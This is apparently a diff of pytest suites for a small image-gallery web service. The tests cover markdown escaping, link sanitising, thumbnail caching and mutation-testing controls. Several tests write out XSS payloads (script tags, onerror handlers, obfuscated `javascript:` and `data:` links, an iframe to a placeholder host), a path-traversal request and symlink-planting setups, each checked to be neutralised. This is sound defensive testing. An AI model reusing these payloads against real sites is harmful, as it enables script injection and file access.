persistent-memory.d/2026-09-22-size-cap-opened-a-hang.md."""
b = tmp_path / "b"
b.mkdir()
(b / "a.png").write_bytes(b"\x89PNG")
(b / "a.txt").write_text("x" * (CAPTION_MAX * 50))
cap = {it.rel: it.caption for it in booth_items(b)}["a.png"]
assert cap is not None and len(cap) <= CAPTION_MAX
def test_a_dot_directory_hides_its_whole_subtree(tmp_path):
"""CLAUDE.md invariant 2 claims a dotfile costs nothing in item counts,
galleries or zips. That was only true at the TOP LEVEL: both `booth_items`
and `zip_booth` tested the FILE's name, so `.thumbs/a.png` has `p.name ==
"a.png"` and sailed through as a gallery item and a zip entry.
Pre-existing, found while adding a `.thumbs/` cache. Any path component
starting with a dot is the Booth's own namespace.
Defeating change: back to `p.name.startswith(".")`."""
import io
import zipfile
from booth.app import zip_booth
b = tmp_path / "b"
(b / ".thumbs").mkdir(parents=True)
(b / "real.png").write_bytes(b"\x89PNG")
(b / ".thumbs" / "real.png").write_bytes(b"\x89PNGthumb")
(b / ".marks.json").write_text("{}")
assert [i.rel for i in booth_items(b)] == ["real.png"]
assert zipfile.ZipFile(io.BytesIO(zip_booth(b))).namelist() == ["real.png"]
# ---- a posted doc cannot run code (2026-09-28) --------------------------------
#
# design-dev's impeccable run found it and it held at source: Python-Markdown
# passes raw HTML through, and doc.html / booth.html render the result `|safe`,
# so a `<script>` in any agent's `.md` ran on the Booth's origin, and a contract
# that merely QUOTED `<pre>` opened a real one and swallowed the rest of the
# doc. Operator ruling: ESCAPE raw HTML, not an allowlist — the live docs that
# carry tags mean the literal tag. The same class, found while fixing it: a
# markdown link's href is not HTML-escaped either, and an entity-encoded
# `java&#115;cript:` sails past any scheme test that does not decode it first.
from html.parser import HTMLParser
from booth.items import render_doc
class _Scan(HTMLParser):
"""What a BROWSER would see: tags as parsed, attribute values decoded."""
def __init__(self):
super().__init__(convert_charrefs=True)
self.tags, self.hrefs = [], []
def handle_starttag(self, tag, attrs):
self.tags.append(tag)
for k, v in attrs:
if k == "href":
self.hrefs.append(v)
def _scan(md_text):
html, is_html = render_doc(md_text, "markdown")
assert is_html
s = _Scan()
s.feed(html)
return html, s
def _navigates_to_script(href):
# the browser drops tab/CR/LF anywhere and C0-or-space at the ends
bare = "".join(ch for ch in href if ch not in "\t\r\n").strip("".join(map(chr, range(0x21))))
return bare.lower().startswith(("javascript:", "vbscript:", "data:"))
@pytest.mark.parametrize("src", [
"<script>alert(1)</script>\n\nafter",
"inline <img src=x onerror=alert(1)> here",
"<iframe src=//evil.test></iframe>",
"| a |\n|---|\n| <svg onload=alert(1)> |",
])
def test_raw_html_in_a_doc_is_text_never_markup(src):
html, s = _scan(src)
assert not {"script", "img", "iframe", "svg"} & set(s.tags), (s.tags, html)
assert "&lt;" in html
def test_a_quoted_pre_is_shown_not_opened_and_the_doc_goes_on():
html, s = _scan("a contract that says <pre> opens one\n\nnext paragraph")
assert "pre" not in s.tags, html
assert "<p>next paragraph</p>" in html
def test_fenced_code_is_still_a_code_block():
"""Positive control: escaping raw HTML must not cost the code block."""
html, s = _scan("```html\n<script>x</script>\n```")
assert s.tags == ["pre", "code"], html
assert "&lt;script&gt;" in html
def test_inline_html_a_doc_meant_is_now_literal_text():
"""The declared cost of the ruling: <sub> and <details> show as tags."""
html, s = _scan("H<sub>2</sub>O")
assert "sub" not in s.tags and "&lt;sub&gt;" in html
@pytest.mark.parametrize("dest", [
"[x](javascript:alert(1))",
"[x](JaVaScRiPt:alert(1))",
"[x](java&#115;cript:alert(1))",
"[x](javascript&colon;alert(1))",
"[x](&#106;avascript:alert`1`)",
"[x](java&Tab;script:alert`1`)",
"[x](javascript&#x3a;alert`1`)",
"[x](<java\tscript:alert(1)>)",
"[x](\x01javascript:alert`1`)",
"[r]: javascript:alert`1`\n\n[go][r]",
"[x](data:text/html,<script>alert(1)</script>)",
])
def test_a_link_that_would_run_code_keeps_its_text_and_loses_its_href(dest):
html, s = _scan(dest)
assert not any(_navigates_to_script(h) for h in s.hrefs), (s.hrefs, html)
assert "a" in s.tags, html # the words are still there
def test_ordinary_links_survive():
html, s = _scan("[a](https://example.com) [b](http://x.test/p) [c](other.md) [d](#frag)")
assert s.hrefs == ["https://example.com", "http://x.test/p", "other.md", "#frag"], html
# Markdown reads `\\` as an escaped backslash, so FOUR in the source put two
# in the href: `\\evil.test`, which a browser reads as `//evil.test`.
@pytest.mark.parametrize("dest", ["[x](//evil.test/p)", "[x](/\\evil.test/p)", "[x](\\\\\\\\evil.test/p)"])
def test_a_link_that_leaves_the_origin_by_backslash_is_refused(dest):
"""heid bug-hunt, groa: `is_safe_href` refused `//host` but not its
backslash twin — a browser reads `\\` as `/` in an http(s) URL, so
`/\\evil.test` is `//evil.test`."""
html, s = _scan(dest)
assert s.hrefs == [], (s.hrefs, html)
def test_a_renderer_failure_costs_the_doc_its_formatting_never_the_page(monkeypatch):
"""heid bug-hunt, 3 of 4 arms: nothing bounded the render. A doc that
makes Python-Markdown raise — deep nesting, or an upgrade that renames the
processors this module deregisters — must fall back to escaped raw text,
never raise out of the page."""
import booth.items as items_mod
def boom():
raise RecursionError("too deep")
monkeypatch.setattr(items_mod, "_markdown_renderer", boom)
assert items_mod.render_doc("# t\n\n<script>x</script>", "markdown") == \
("# t\n\n<script>x</script>", False)
+39
View File
@@ -1096,3 +1096,42 @@ def test_a_booth_name_cannot_reach_a_js_string_context(client):
assert 'data-confirm="wipe"' in html, "the name travels as data, where escaping is escaping"
assert ">&#39;+xssCanary7+&#39;<" in html, "and still renders as the name it is"
def test_generating_a_thumbnail_does_not_age_a_booth(tmp_path):
"""⚠ A VIEW-DRIVEN WRITE MUST NOT RESET THE EXPIRY CLOCK, and the thumbnail
cache is the first thing in this repo that writes without the operator
doing anything.
`.viewed` counts as activity ON PURPOSE — U4's "viewing is activity" — but
that is a DELIBERATE look. A derived cache is machinery, exactly like the
`.lock` sidecars already excluded here, and it is written by the SERVER.
The failure this prevents is not small. Once the Desk's preview strip pulls
a thumbnail for every booth, loading the index would touch every booth's
cache and push every expiry out — the TTL would never fire again and
nothing would ever sweep. Caught by design-dev before the strip landed;
the bug was already live for the gallery.
Defeating change: dropping the THUMB_DIR arm of the exclusion."""
import os
import time
from booth.app import _newest_mtime
from booth.thumbs import ensure_thumb
pytest.importorskip("PIL.Image")
from PIL import Image
b = tmp_path / "g"
b.mkdir()
Image.new("RGB", (1024, 1024), (9, 9, 9)).save(b / "a.png")
old = time.time() - 86400 * 3
for p in b.rglob("*"):
os.utime(p, (old, old))
os.utime(b, (old, old))
before = _newest_mtime(b)
assert ensure_thumb(b, "a.png") is not None, "nothing was generated to test"
assert _newest_mtime(b) == pytest.approx(before, abs=2), \
"generating a thumbnail reset the booth's expiry clock"
+1 -1
View File
@@ -278,7 +278,7 @@ def test_as_dict_round_trips_through_json(tmp_path):
# ---- the stdlib-only invariant (INV-5) --------------------------------------
@pytest.mark.parametrize("module", ["marks", "asks", "links", "manifest", "benches", "__init__"])
@pytest.mark.parametrize("module", ["marks", "asks", "links", "manifest", "benches", "blur", "__init__"])
def test_stdlib_only(module):
"""INV-5. scripts/booth imports these under the system python3 with NO venv,
through a `python3 -c` heredoc that no AST extractor can see — so nothing
+130
View File
@@ -0,0 +1,130 @@
"""Controls for the instrument that certifies every other falsifier.
`scripts/mutation_check.py` exists because a green test proves nothing until it
has seen the change it forbids. The same sentence applies to the tool: it
shipped two defects in one session, each of which made it report a falsifier
PROVED WITHOUT RUNNING IT (no green baseline; the pyc cache silently reverting
byte-identical mutations). Both were found by accident.
So the tool gets what CLAUDE.md demands of any measurement: a POSITIVE CONTROL
it must detect, and a NEGATIVE CONTROL it must not fire on. An instrument that
only ever sees unknowns cannot distinguish "absent" from "blind".
"""
from __future__ import annotations
import pathlib
import sys
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent / "scripts"))
from mutation_check import check # noqa: E402
def _tree(tmp_path, source: str, test_body: str):
"""A throwaway repo: one module, one test file, both real on disk."""
(tmp_path / "mod.py").write_text(source)
(tmp_path / "test_probe.py").write_text(
"import sys, pathlib\n"
"sys.path.insert(0, str(pathlib.Path(__file__).parent))\n"
"from mod import f\n\n" + test_body
)
return tmp_path
def test_a_real_falsifier_is_reported_proved(tmp_path):
"""NEGATIVE CONTROL — the tool must not cry wolf on a sound test.
`f` returns 2; the test asserts it. Flipping the constant must go red, and
the tool must say so."""
repo = _tree(tmp_path, "def f():\n return 2\n",
"def test_f():\n assert f() == 2\n")
proved, note = check(
{"label": "flip the constant", "file": "mod.py", "test": "test_probe.py::test_f",
"old": "return 2", "new": "return 3"}, repo=repo)
assert proved, note
def test_a_vacuous_falsifier_is_caught(tmp_path):
"""POSITIVE CONTROL — the one that matters, and the one usually skipped.
The test asserts only that `f()` is an int, so flipping the constant does
NOT break it. The test cites the behaviour without forbidding it. The tool
must report NOT PROVED; if it cannot detect a known-vacuous falsifier, its
twelve `proved` lines are worth nothing."""
repo = _tree(tmp_path, "def f():\n return 2\n",
"def test_f():\n assert isinstance(f(), int)\n")
proved, note = check(
{"label": "flip the constant", "file": "mod.py", "test": "test_probe.py::test_f",
"old": "return 2", "new": "return 3"}, repo=repo)
assert not proved
assert "VACUOUS" in note
def test_an_already_red_test_is_a_harness_failure_not_a_proof(tmp_path):
"""DEFECT 1, as a control. Before the baseline check this returned PROVED —
a broken assertion reading as a certified falsifier."""
repo = _tree(tmp_path, "def f():\n return 2\n",
"def test_f():\n assert f() == 99\n")
proved, note = check(
{"label": "flip the constant", "file": "mod.py", "test": "test_probe.py::test_f",
"old": "return 2", "new": "return 3"}, repo=repo)
assert not proved
assert "BASELINE RED" in note
def test_a_same_size_mutation_is_not_swallowed_by_the_bytecode_cache(tmp_path):
"""DEFECT 2, as a control. `< 2` -> `< 1` is byte-identical in size, so a
mutation landing in the same mtime second as the revert before it used to
run against cached bytecode and report PROVED having tested nothing.
Run twice: the verdict must be stable. The original defect's tell was
exactly a verdict that flipped between consecutive identical runs."""
repo = _tree(tmp_path, "def f(n):\n return n < 2\n",
"def test_f():\n assert f(1) is True and f(2) is False\n")
m = {"label": "off by one", "file": "mod.py", "test": "test_probe.py::test_f",
"old": "return n < 2", "new": "return n < 1"}
assert [check(m, repo=repo)[0] for _ in range(2)] == [True, True]
def test_a_drifted_anchor_is_reported_not_skipped(tmp_path):
"""A table whose `old` no longer matches the source stops proving anything.
Silently skipping it would shrink the denominator and keep the run green."""
repo = _tree(tmp_path, "def f():\n return 2\n",
"def test_f():\n assert f() == 2\n")
proved, note = check(
{"label": "stale", "file": "mod.py", "test": "test_probe.py::test_f",
"old": "return 2222", "new": "return 3"}, repo=repo)
assert not proved
assert "anchor not found" in note
def test_the_source_is_restored_even_when_the_mutation_proves(tmp_path):
"""The tool writes to tracked source files. Leaving one mutated would put a
defect in the tree that looks like authored code."""
repo = _tree(tmp_path, "def f():\n return 2\n",
"def test_f():\n assert f() == 2\n")
before = (repo / "mod.py").read_text()
check({"label": "flip", "file": "mod.py", "test": "test_probe.py::test_f",
"old": "return 2", "new": "return 3"}, repo=repo)
assert (repo / "mod.py").read_text() == before
def test_a_reverted_file_keeps_its_mtime(tmp_path):
"""The repo IS its own deployment root: nothing takes effect until the
service restarts, so "is :8090 stale?" is answered by comparing the
service's start time against source mtimes. A tool that rewrites a file
with identical bytes still bumps its mtime and makes that check lie — it
reported the live service 16 minutes stale when it was current.
Defeating change: dropping the os.utime in the restore."""
import os
repo = _tree(tmp_path, "def f():\n return 2\n",
"def test_f():\n assert f() == 2\n")
mod = repo / "mod.py"
os.utime(mod, (1_000_000_000, 1_000_000_000))
before = mod.stat().st_mtime_ns
check({"label": "flip", "file": "mod.py", "test": "test_probe.py::test_f",
"old": "return 2", "new": "return 3"}, repo=repo)
assert mod.stat().st_mtime_ns == before
+147
View File
@@ -402,3 +402,150 @@ def test_a_group_key_is_never_the_empty_string(tmp_path):
body = c.get("/b/g/").text
assert 'data-group=""' not in body
assert "" not in _groups(body)
# --- from the heid bug-hunt panel, 2026-09-22 -----------------------------
# 4-of-4 convergence on the anchor, two strong solos from Gróa, and three of
# this file's own falsifiers shown vacuous by the arms' guard-strength passes.
def test_a_group_anchor_survives_a_filename_that_percent_decodes(tmp_path):
"""THE 4-OF-4 FINDING. The anchor was the RAW rel spliced into an href
fragment with no percent-encoding, while the tile id was equally raw.
A browser matches a fragment against ids RAW FIRST, then percent-decoded —
so the failure is not "goes nowhere", it is worse: with both `a b.png` and
`a%20b.png` in one booth, the first's href resolves to the fragment
`item-a%20b.png` and the raw pass matches the SECOND file's id. The jump
lands on the wrong artifact, which is the misfiled-judgment failure
invariant 6 exists to prevent, arriving through a path invariant 6 never
looked at.
Both sides now use the already-percent-encoded `Item.url`, which is
injective (`a b` -> `a%20b`, `a%20b` -> `a%2520b`) and is the convention
`booth_flag` has always used. Defeating change: building either side from
`name`."""
b = tmp_path / "g"
b.mkdir()
for n in ("a b-1.png", "a b-2.png", "a%20b-1.png", "a%20b-2.png"):
(b / n).write_bytes(PNG)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
body = c.get("/b/g/").text
import re
hrefs = re.findall(r'class="rail-g"[^>]*href="#([^"]+)"', body, re.S)
assert len(hrefs) == 2, f"expected two groups, got {hrefs}"
# Every anchor names an id that exists AND no two anchors collide.
assert len(set(hrefs)) == len(hrefs), f"two groups share one anchor: {hrefs}"
for h in hrefs:
assert f'id="{h}"' in body, f"anchor #{h} names no element"
# and the raw form must NOT appear as an id, or the raw-first match steals it
assert 'id="item-a b-1.png"' not in body
def test_a_group_anchor_names_the_FIRST_member(grouped):
"""GRÓA + HULDA + REGIN all found the same hole independently: the original
anchor test only checked the href occurred as SOME id on the page, so a
`v[0]` -> `v[-1]` mutation survived it completely. Three arms, one gap,
and my own mutation table had no row for it — the fifth vacuous falsifier
of the day.
`a/x1.png` and `b/x2.png` are group x; the anchor must be the first."""
import re
c, _ = grouped
body = c.get("/b/g/").text
got = dict(re.findall(r'class="rail-g" data-group="([^"]+)"\s*\n?\s*href="#item-([^"]+)"', body))
assert got == {"x": "a/x1.png", "y": "a/y1.png"}, got
def test_a_group_row_reports_its_own_size(grouped):
"""HULDA's guard table: `len(v)` -> `len(v) + 1` survived every assertion.
The counts were rendered and never checked."""
import re
c, _ = grouped
body = c.get("/b/g/").text
counts = re.findall(r'class="rail-g"[^>]*>\s*(\S+)\s*<b>(\d+)</b>', body, re.S)
assert dict((k, int(v)) for k, v in counts) == {"x": 2, "y": 2}
def test_the_informativeness_guard_reads_the_middle_not_the_largest(tmp_path):
"""HULDA's guard table: `sizes[len(sizes)//2]` -> `sizes[-1]` survived,
because no fixture distinguished the middle group from the biggest one.
Three singletons and one group of four: the largest is 4, the upper median
is 1. The rail must be ABSENT — a rail whose rows are three-quarters
single tiles is the second-copy-of-the-grid degeneracy."""
b = tmp_path / "g"
b.mkdir()
for n in ("p1.png", "q1.png", "r1.png",
"z1.png", "z2.png", "z3.png", "z4.png"):
(b / n).write_bytes(PNG)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
assert 'class="rail-groups"' not in c.get("/b/g/").text
def test_a_filter_that_matches_nothing_leaves_a_way_back(tmp_path):
"""GRÓA's strongest solo, and in her words the finding most likely to bite
users this week.
`{% elif items %}` gated the ENTIRE rail on the FILTERED list, so a valid
filter with zero hits removed the rail, the filter links, and the way back
to `all` — and the empty-booth branch then announced the booth was empty
while `rail.total` held the real count. No recovery without editing the
address bar, and it degraded the same way with JavaScript off.
⚠ THE FIXTURE MUST ACTUALLY HAVE NO HITS. The first version of this test
used the shared `gallery` fixture, which carries one of each mark — so
`?filter=flagged` returned one tile and the test passed without ever
reaching the state it names. Four unmarked images; every filter but `all`
is empty.
Defeating change: gating the rail on `items` instead of `all_items`."""
b = tmp_path / "g"
b.mkdir()
for n in ("a.png", "b.png", "c.png", "d.png"):
(b / n).write_bytes(PNG)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
for flt in ("flagged", "annotated", "unanswered"):
body = c.get(f"/b/g/?filter={flt}").text
assert _tiles(body) == [], flt
assert 'class="rail"' in body, f"{flt}: the rail vanished with the filtered list"
assert 'href="/b/g/"' in body, f"{flt}: no way back to `all`"
assert "This booth is empty" not in body, f"{flt}: an empty FILTER is not an empty booth"
assert "4 items" in body, f"{flt}: the rail must still report the real total"
def test_an_empty_booth_still_says_it_is_empty(tmp_path):
"""The negative control for the test above: the empty-booth message must
survive the fix that stops a filter from triggering it."""
b = tmp_path / "hollow"
b.mkdir()
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
body = c.get("/b/hollow/").text
assert "This booth is empty" in body
assert 'class="rail"' not in body
def test_the_keyboard_flag_targets_a_real_button(gallery):
"""HULDA: the `f` handler selected `.flagbtn, [name="target"]`. No element
in this repo has ever had class `flagbtn`, so it fell through to the HIDDEN
target input — and clicking a hidden input does not submit its form. The
shortcut has never worked, while still calling preventDefault and
swallowing the keystroke.
Asserted against the markup the macro actually emits."""
import re
c, _ = gallery
body = c.get("/b/g/").text
assert 'class="flagtoggle' in body, "the flag form is not what this thinks"
# THE SELECTOR ITSELF, not the whole page — the first version asserted
# `"flagbtn" not in body` and went red on the code COMMENT explaining the
# bug. An assertion that cannot tell markup from prose about markup is not
# asserting about markup.
sel = re.search(r"case 'f': click\((.*?)\);", body)
assert sel, "the `f` handler is gone"
assert "flagbtn" not in sel.group(1), "the selector names a class nothing emits"
assert ".flagtoggle button" in sel.group(1), \
"the key handler must click the flag form's real submit button"
+376
View File
@@ -0,0 +1,376 @@
"""Thumbnails — the fix for a gallery that shipped 77 MB to render 250px tiles.
The operator found this in about a minute of using the live Desk. ROADMAP had
parked it on "the largest gallery is 66 images", which counted IMAGES and never
weighed BYTES; 66 is a fine count sitting on a terrible payload.
"""
from __future__ import annotations
import io
import pathlib
import sys
import pytest
from fastapi.testclient import TestClient
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
from booth.app import create_app # noqa: E402
from booth.items import booth_items # noqa: E402
from booth.thumbs import ( # noqa: E402
THUMB_DIR,
THUMB_HEIGHT_MAX,
THUMB_LIGHT_BYTES,
THUMB_WIDTH,
ensure_thumb,
thumb_path,
wants_thumb,
)
PIL = pytest.importorskip("PIL.Image", reason="Pillow is not installed")
def _img(path: pathlib.Path, w: int, h: int, fmt="PNG"):
path.parent.mkdir(parents=True, exist_ok=True)
PIL.new("RGB", (w, h), (120, 30, 90)).save(path, fmt)
return path
def test_a_big_image_gets_a_much_smaller_thumbnail(tmp_path):
"""The whole point, asserted in BYTES rather than in existence — a thumbnail
that is not dramatically smaller has not fixed anything."""
b = tmp_path / "g"
src = _img(b / "big.png", 1024, 1024)
out = ensure_thumb(b, "big.png")
assert out is not None and out.is_file()
w, h = PIL.open(out).size
assert w <= THUMB_WIDTH and h <= THUMB_HEIGHT_MAX
assert out.stat().st_size * 4 < src.stat().st_size, (
f"thumb {out.stat().st_size}B vs source {src.stat().st_size}B — not worth the cache"
)
def test_an_already_small_image_gets_no_thumbnail(tmp_path):
"""Serving the original is correct when it is already tile-sized AND already
light. A cache entry that saves nothing is pure cost.
Defeating change: generating unconditionally."""
b = tmp_path / "g"
_img(b / "small.png", 200, 200)
assert ensure_thumb(b, "small.png") is None
def test_the_cache_lives_inside_the_booth_and_is_invisible(tmp_path):
"""`.thumbs/` is inside the booth so it is swept with it — a cache that
outlives what it describes is a leak. And it must not become gallery items
or zip entries: both skip every dot-prefixed path COMPONENT, which they did
not do until this module needed them to."""
import zipfile
from booth.app import zip_booth
b = tmp_path / "g"
_img(b / "big.png", 1024, 1024)
ensure_thumb(b, "big.png")
assert (b / THUMB_DIR).is_dir(), "the cache is not inside the booth"
assert [i.rel for i in booth_items(b)] == ["big.png"]
assert zipfile.ZipFile(io.BytesIO(zip_booth(b))).namelist() == ["big.png"]
def test_a_damaged_image_costs_its_own_tile_not_the_page(tmp_path):
"""NEVER RAISES. A thumbnail is an optimisation; a page that will not load
is worse than one that loads slowly.
Defeating change: letting the Pillow exception out."""
b = tmp_path / "g"
b.mkdir()
(b / "lies.png").write_bytes(b"\x89PNG\r\n\x1a\n" + b"not an image at all" * 20)
assert ensure_thumb(b, "lies.png") is None
def test_a_stale_thumbnail_is_rebuilt(tmp_path):
"""Editing a file in place must not leave the old thumbnail forever."""
import os
b = tmp_path / "g"
_img(b / "x.png", 1024, 1024)
first = ensure_thumb(b, "x.png")
before = first.stat().st_mtime_ns
_img(b / "x.png", 900, 900)
os.utime(b / "x.png", None)
again = ensure_thumb(b, "x.png")
assert again.stat().st_mtime_ns != before, "the stale thumbnail survived an edit"
def test_only_thumbable_types_are_candidates():
"""SVG is vector and Pillow cannot read it; a video is not an image."""
assert wants_thumb("a.png") and wants_thumb("A.JPG") and wants_thumb("a.webp")
assert not wants_thumb("a.svg") and not wants_thumb("a.webm") and not wants_thumb("a.txt")
def test_the_item_record_carries_the_thumb_url(tmp_path):
"""INV-1: the resolver decides whether an item has a thumbnail. No template
appends `?thumb=1` by reasoning about `kind` itself."""
b = tmp_path / "g"
_img(b / "big.png", 1024, 1024)
_img(b / "vec.svg", 10, 10) if False else (b / "vec.svg").write_text("<svg/>")
by = {i.rel: i for i in booth_items(b)}
assert by["big.png"].thumb == "big.png?thumb=1"
assert by["vec.svg"].thumb is None
def test_the_route_serves_the_thumbnail_and_the_original(tmp_path):
"""?thumb=1 rides the EXISTING file route, so it inherits that route's
traversal guard rather than growing a second one."""
b = tmp_path / "g"
src = _img(b / "big.png", 1024, 1024)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
full = c.get("/b/g/big.png")
thumb = c.get("/b/g/big.png?thumb=1")
assert full.status_code == thumb.status_code == 200
assert len(thumb.content) * 4 < len(full.content), "the route served the full image"
assert len(full.content) == src.stat().st_size
def test_the_gallery_tile_requests_the_thumbnail(tmp_path):
"""The operator's actual complaint: the grid pulled full-resolution files."""
b = tmp_path / "g"
for n in ("a.png", "b.png"):
_img(b / n, 1024, 1024)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
html = c.get("/b/g/").text
assert 'src="a.png?thumb=1"' in html, "the tile still asks for the full image"
def test_a_thumb_request_for_a_traversal_path_is_still_refused(tmp_path):
"""The guard is the file route's, and it must not be weakened by the new
query parameter."""
b = tmp_path / "g"
_img(b / "big.png", 1024, 1024)
(tmp_path / "secret.txt").write_text("nope")
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
assert c.get("/b/g/../secret.txt?thumb=1").status_code in (404, 400)
def test_the_filmstrip_and_tray_use_thumbnails_but_the_stage_does_not(tmp_path):
"""The same 77 MB in a different place. The filmstrip shows EVERY ring item
at a few dozen pixels, so full-resolution frames there are worse than the
grid was — while the stage is the full-size review and must stay full size.
Defeating change: `x.url` in the filmstrip, or `it.thumb` on the stage."""
b = tmp_path / "g"
for n in ("a.png", "b.png", "c.png"):
_img(b / n, 1024, 1024)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
html = c.get("/b/g/view?f=a.png").text
assert 'id="vimg" src="a.png"' in html, "the stage must serve the full image"
assert 'src="b.png?thumb=1"' in html, "the filmstrip still pulls full images"
assert 'src="b.png"' not in html.replace('src="b.png?thumb=1"', ""), \
"a full-size frame survived in the strip"
def test_the_desk_preview_strip_uses_thumbnails(tmp_path):
"""The heaviest surface in the service, on the page he opens FIRST: four
small images per booth, across every booth. design-dev measured 28
originals / 24.1 MB on a 12-booth copy; live has 28 booths.
Defeating change: `it.url` in the preview tuple."""
for name in ("one", "two"):
b = tmp_path / name
for n in ("a.png", "b.png"):
_img(b / n, 1024, 1024)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
html = c.get("/").text
assert 'src="/b/one/a.png?thumb=1"' in html, "the Desk strip still pulls full images"
assert 'src="/b/one/a.png"' not in html
# ---- sized for the tile's WIDTH, at 2x density ---------------------------------
#
# The operator, on sindra-nude-final: "the images look blurry until they're
# selected and blown up". The cap was 512 on the LONGEST side, but a tile is sized
# by its WIDTH, so a 704x1408 portrait got a 256px-wide thumbnail stretched into
# a 361px tile: 1.4x at 1x density, 2.8x on a 2x screen.
def _noise(path: pathlib.Path, w: int, h: int):
"""A photographic-weight image: incompressible, so its bytes are realistic.
A flat colour compresses to almost nothing and would take the light path."""
import os
path.parent.mkdir(parents=True, exist_ok=True)
PIL.frombytes("RGB", (w, h), os.urandom(w * h * 3)).save(path, "PNG")
return path
def test_a_portrait_keeps_its_full_width(tmp_path):
"""Defeating change: bounding the longest side, which gave this image 256px
of width for a tile that shows 361."""
b = tmp_path / "g"
_noise(b / "p.png", 704, 1408)
out = ensure_thumb(b, "p.png")
assert out is not None
assert PIL.open(out).size == (704, 1408)
def test_a_wide_image_is_bounded_by_width(tmp_path):
b = tmp_path / "g"
_noise(b / "w.png", 2048, 1024)
out = ensure_thumb(b, "w.png")
assert PIL.open(out).size == (THUMB_WIDTH, THUMB_WIDTH // 2)
def test_a_tile_width_image_that_is_heavy_still_gets_a_thumbnail(tmp_path):
"""Fitting the tile in PIXELS is not being light in BYTES: a 704x1408 PNG is
about a megabyte, and serving it as its own thumbnail would undo the cache.
Defeating change: skipping every image that fits the bounds."""
b = tmp_path / "g"
src = _noise(b / "p.png", 704, 1408)
assert src.stat().st_size > THUMB_LIGHT_BYTES
out = ensure_thumb(b, "p.png")
assert out is not None and out.stat().st_size < src.stat().st_size
def test_an_extremely_tall_image_is_bounded_by_height_too(tmp_path):
"""Width alone would let a long screenshot through at full height."""
b = tmp_path / "g"
_noise(b / "t.png", 300, THUMB_HEIGHT_MAX * 2)
w, h = PIL.open(ensure_thumb(b, "t.png")).size
assert h <= THUMB_HEIGHT_MAX and w <= 150
def test_an_animated_gif_that_fits_is_served_as_itself(tmp_path):
"""A thumbnail is one frame. A heavy GIF that already fits the tile used to
be served whole (it was under the old cap) and must stay animated.
Defeating change: dropping the animation guard on the fits-but-heavy path."""
import os
b = tmp_path / "g"
b.mkdir()
frames = [PIL.frombytes("RGB", (300, 300), os.urandom(300 * 300 * 3)) for _ in range(3)]
frames[0].save(b / "a.gif", save_all=True, append_images=frames[1:])
assert (b / "a.gif").stat().st_size > THUMB_LIGHT_BYTES
assert ensure_thumb(b, "a.gif") is None
def test_a_thumbnail_cut_to_the_old_rule_is_not_served(tmp_path):
"""The live booths hold 512-cap thumbnails that are NEWER than their
sources, so the mtime check alone would serve them forever. The size rule
is in the cache name, so a thumbnail cut to another rule is simply not
found. Defeating change: an unversioned cache name."""
import os
b = tmp_path / "g"
_noise(b / "p.png", 704, 1408)
legacy = b / THUMB_DIR / "p.png.webp"
legacy.parent.mkdir(parents=True)
PIL.new("RGB", (256, 512)).save(legacy, "WEBP")
os.utime(legacy, None)
out = ensure_thumb(b, "p.png")
assert out == thumb_path(b, "p.png") and out != legacy
assert PIL.open(out).size == (704, 1408)
# ---- the heid bug-hunt on this change (4/4 arms), folded ------------------------
#
# The cache sits in a directory any fleet session can write into, so every entry
# on the way to it may be planted. The new size rules only governed cache MISSES;
# the hit path trusted a name and an mtime.
def test_a_planted_directory_at_the_cache_path_is_not_served(tmp_path):
"""4/4, seat-executed: a directory at the cache path, with a future mtime,
was returned AS the thumbnail. Defeating change: a cache hit that checks
only the mtime."""
import os
b = tmp_path / "g"
_noise(b / "p.png", 704, 1408)
out = thumb_path(b, "p.png")
out.mkdir(parents=True)
os.utime(out, (2e9, 2e9))
got = ensure_thumb(b, "p.png")
assert got is None or got.is_file()
def test_a_source_replaced_with_an_older_mtime_is_rebuilt(tmp_path):
"""kimi: `cp -p` or an archive extract keeps an OLDER mtime, and a cache
newer than its source was served forever. The cache now carries its
source's exact mtime, so any change is a miss. Defeating change: `>=`."""
import os
b = tmp_path / "g"
_noise(b / "p.png", 704, 1408)
first = ensure_thumb(b, "p.png")
assert PIL.open(first).size == (704, 1408)
_noise(b / "p.png", 1536, 768)
os.utime(b / "p.png", (1e9, 1e9)) # an older stamp than the cache
assert PIL.open(ensure_thumb(b, "p.png")).size == (THUMB_WIDTH, THUMB_WIDTH // 2)
def test_a_symlinked_cache_dir_is_never_written_through(tmp_path):
"""seat P4: `.thumbs` planted as a link to another directory put the cache
outside the booth, beyond the sweep. Defeating change: `mkdir(parents=True)`,
which follows an existing link."""
b = tmp_path / "g"
_noise(b / "p.png", 704, 1408)
elsewhere = tmp_path / "elsewhere"
elsewhere.mkdir()
(b / THUMB_DIR).symlink_to(elsewhere)
assert ensure_thumb(b, "p.png") is None
assert list(elsewhere.iterdir()) == []
def test_a_planted_link_at_the_old_temp_name_cannot_redirect_the_write(tmp_path):
"""groa, seat P5: the temp name was `<out>.<pid>.tmp`, predictable, so a
link planted there made the encoder truncate and overwrite its target
(600 B -> 316,400 B). Defeating change: any predictable temp name."""
import os
b = tmp_path / "g"
_noise(b / "p.png", 704, 1408)
victim = tmp_path / "victim.txt"
victim.write_text("untouched")
out = thumb_path(b, "p.png")
out.parent.mkdir(parents=True)
(out.parent / (out.name + f".{os.getpid()}.tmp")).symlink_to(victim)
ensure_thumb(b, "p.png")
assert victim.read_text() == "untouched"
def test_palette_transparency_survives_the_thumbnail(tmp_path):
"""3/4, seat-executed, and INTRODUCED by this change: the fits-but-heavy
branch newly re-encodes palette PNGs, and `getbands()` of mode P has no A
even with a tRNS chunk, so transparency became opaque. Defeating change:
choosing RGBA by `getbands()` alone."""
import os
b = tmp_path / "g"
b.mkdir()
im = PIL.frombytes("P", (400, 400), os.urandom(400 * 400))
im.putpalette(os.urandom(768))
im.save(b / "p.png", "PNG", transparency=0)
assert (b / "p.png").stat().st_size > THUMB_LIGHT_BYTES
t = PIL.open(ensure_thumb(b, "p.png"))
